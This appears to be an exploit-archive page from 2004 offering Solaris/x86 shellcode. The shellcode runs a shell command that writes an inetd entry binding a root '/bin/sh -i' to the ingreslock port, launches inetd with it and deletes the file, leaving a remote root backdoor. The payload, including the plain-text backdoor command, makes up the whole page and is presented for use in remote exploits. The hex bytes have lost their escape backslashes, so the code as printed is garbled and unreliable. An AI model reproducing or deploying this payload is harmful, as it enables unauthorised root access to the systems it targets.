[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : solaris/x86 add services and execve inetd 201 bytes
# Published : 2004-09-26
# Author : n/a
# Previous Title : solaris/x86 execve /bin/sh toupper evasion 84 bytes
# Next Title : Unixware execve /bin/sh 95 bytes
/*
* Solaris/x86
*
* Just execve()'s the following:
* "echo "ingreslock stream tcp nowait root /bin/sh sh -i">/tmp/x;"
* "/usr/sbin/inetd -s /tmp/x; /bin/rm -f /tmp/x";
*
* for a trivial remote bd. Used in a few old Solaris/x86 remote exploits.
*/
char c0de[] =
"xebx3dx9ax24x24x24x24x07x24xc3x5ex29xc0x89x46xbfx88x46xc4"
"x89x46x0cx88x46x17x88x46x1ax88x46x78x29xc0x50x56x8dx5ex10"
"x89x1ex53x8dx5ex18x89x5ex04x8dx5ex1bx89x5ex08xb0x3bxe8xc6"
"xffxffxffxffxffxffxe8xc6xffxffxffx01x01x01x01x02x02x02x02"
"x03x03x03x03x04x04x04x04"
"x2fx62x69x6ex2fx73x68x20x2dx63x20"
"echo "ingreslock stream tcp nowait root /bin/sh sh -i">/tmp/x;"
"/usr/sbin/inetd -s /tmp/x; /bin/rm -f /tmp/x";
/* EOF */
# www.Syue.com [2004-09-26]